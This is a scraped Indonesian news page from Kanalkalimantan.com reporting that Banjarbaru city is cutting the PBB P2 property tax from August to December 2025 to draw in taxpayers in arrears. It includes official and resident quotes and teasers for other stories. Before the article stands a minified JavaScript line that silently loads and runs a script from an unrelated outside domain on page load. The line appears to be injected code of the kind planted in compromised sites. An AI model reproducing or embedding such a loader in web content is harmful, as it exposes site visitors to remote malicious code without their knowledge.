(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Isu Pajak Bumi dan Bangunan Perdesaan dan Pekotaan (PBB P2) yang naik pada beberapa daerah di Indonesia, tidak terjadi di Kota Banjarbaru, Provinsi Kalimantan Selatan.
Pemerintah Kota (Pemko) Banjarbaru malah melakukan pengurangan PBB P2 terhitung bulan Agustus hingga Desember 2025.
Pengurangan PBB P2 ini sebagai langkah Pemko Banjarbaru memancing masyarakat yang masih menunggak agar segera melunasi kewajiban.
Baca juga: Catatan Komisi III DPRD Banjarbaru untuk Proyek Jembatan A Yani Km 31,5
Kepala BPPRD Kota Banjarbaru, Kemas Akhmad Rudi Indrajaya. Foto: wanda
“Kami memberikan pengurangan tarif PBB. Tarif PBB ini kami berlakukan dari bulan Agustus sampai Desember,” ujar Kepala Badan Pengelolaan Pajak dan Retribusi Daerah (BPPRD) Kota Banjarbaru, Kemas Akhmad Rudi Indrajaya kepada Kanalkalimantan.com, Rabu (20/8/2025).
Rudi menyebut pemerintah memberikan insentif PBB P2 selama dua tahap, yaitu dengan potongan 10 persen pada Agustus sampai September dan 5 persen pada Oktober sampai Desember.
BPPRD Banjarbatu berharap masyarakat yang memiliki tunggakan pajak bisa tertarik untuk membayar. “Bagaimanapun, pengurangan PBB ini bukan hanya sekadar keringanan, tetapi juga strategi untuk meningkatkan pendapatan daerah,” kata dia.
Baca juga: Respon Cepat Pemerintah Bersama Warga Atasi Sampah di Sungai Karias
“Dari situlah kita bisa mengakumulasikan pendapatan daerah sesuai arahan ibu Wali Kota,” tambahnya.
Rudi meminta kepada masyarakat untuk tidak menyia-nyiakan kesempatan yang telah diberikan terkait pengurangan pembayaran PBB. “Saya berharap dalam kesempatan pengurangan pembayaran PBB gunakanlah dan manfaatkanlah,” harap Rudi.
Saat ini Pemerintah Kota Banjarbaru berada pada posisi yang lebih baik dibandingkan daerah lain soal kesadaran membayar pajak. “Tingkat kesadaran masyarakat Kota Banjarbaru lebih baik dibandingkan daerah lain, bahkan tahun 2024 saja sudah lebih dari 70 persen yang membayar,” tuntasnya.
Baca juga: Laporkan Progres MBG di Kabupaten Banjar, SPPI Kalsel Audiensi ke Bupati Banjar
Sementara Tazid, salah satu warga Kota Banjarbaru mengaku tidak mengetahui adanya pengurangan PBB ini. “Saya datang cuma bayar, habis itu pelunasan saja, tidak ada informasi tambahan. Tidak ada pemberitahuan kalau ada pengurangan tahun ini,” ujar Tazid saat membayar PBB di kantor BPPRD Banjarbaru.
Kendati dekimian, Tazid menilai pelayanan pajak di Kota Banjarbaru sudah cukup baik karena adanya petugas yang siap mengarahkan.
“Harapannya pelayanan ini bisa dipertahankan,” tutup Tazid. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.